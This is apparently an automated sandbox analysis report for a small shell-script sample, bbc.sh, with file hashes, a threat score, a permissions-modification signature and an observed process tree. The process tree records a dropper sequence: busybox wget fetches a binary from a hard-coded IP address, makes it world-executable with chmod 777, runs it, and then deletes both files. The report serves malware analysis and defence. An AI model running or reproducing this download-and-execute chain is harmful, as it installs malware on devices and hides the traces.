Analysis
- max time kernel
5s - max time network
6s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
20/08/2026, 00:56
Static task
static1
Behavioral task
behavioral1
Sample
bbc.sh
Resource
ubuntu1804-amd64-20260513-en
1 signatures
150 seconds
Behavioral task
behavioral2
Sample
bbc.sh
Resource
debian9-armhf-20260513-en
1 signatures
150 seconds
Behavioral task
behavioral3
Sample
bbc.sh
Resource
debian9-mipsbe-20260513-en
2 signatures
150 seconds
Behavioral task
behavioral4
Sample
bbc.sh
Resource
debian9-mipsel-20260513-en
2 signatures
150 seconds
General
- Target bbc.sh
- Size 498B
- Sample260820-baltraxclf
- SHA256 e266c8d3b55220ad94d6c27da4758809bf0e8c359aeb63e6592a6de52a216c95
- MD5 ac51c9405fb30f330ee015600ff52391
- SHA1 75a1fd3445b5a4ac9188dbcc6893b1c71dd288f7
- SHA512 6c0e8e8f4d7481597618dbe429c5a4da34493a907406442a55e43f9bc70eacdbb16507a1eaf1848c76c51ffed184967115fbbcd1849f23f2174d3d487fb22961
- TLSH T19CF0A703B48BF032804039E4DB66F75AFC347D476262DE4CB8407A60DFD34347861244
- MD5 SHA1 SHA512 TLSH
Score
7/10
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 749 chmod
Processes
-
/tmp/bbc.sh/tmp/bbc.sh1⤵PID:645
-
/bin/unameuname -m2⤵PID:646
-
-
/bin/rmrm data_arm72⤵PID:649
-
-
/bin/busyboxbusybox wget http://31.58.171.194/data_arm72⤵PID:652
-
-
/bin/chmodchmod 777 data_arm72⤵
- File and Directory Permissions Modification
PID:749
-
-
/tmp/data_arm7./data_arm7 tbk2⤵PID:750
-
-
/bin/rmrm data_arm72⤵PID:751
-
-
/bin/rmrm /tmp/bbc.sh2⤵PID:752
-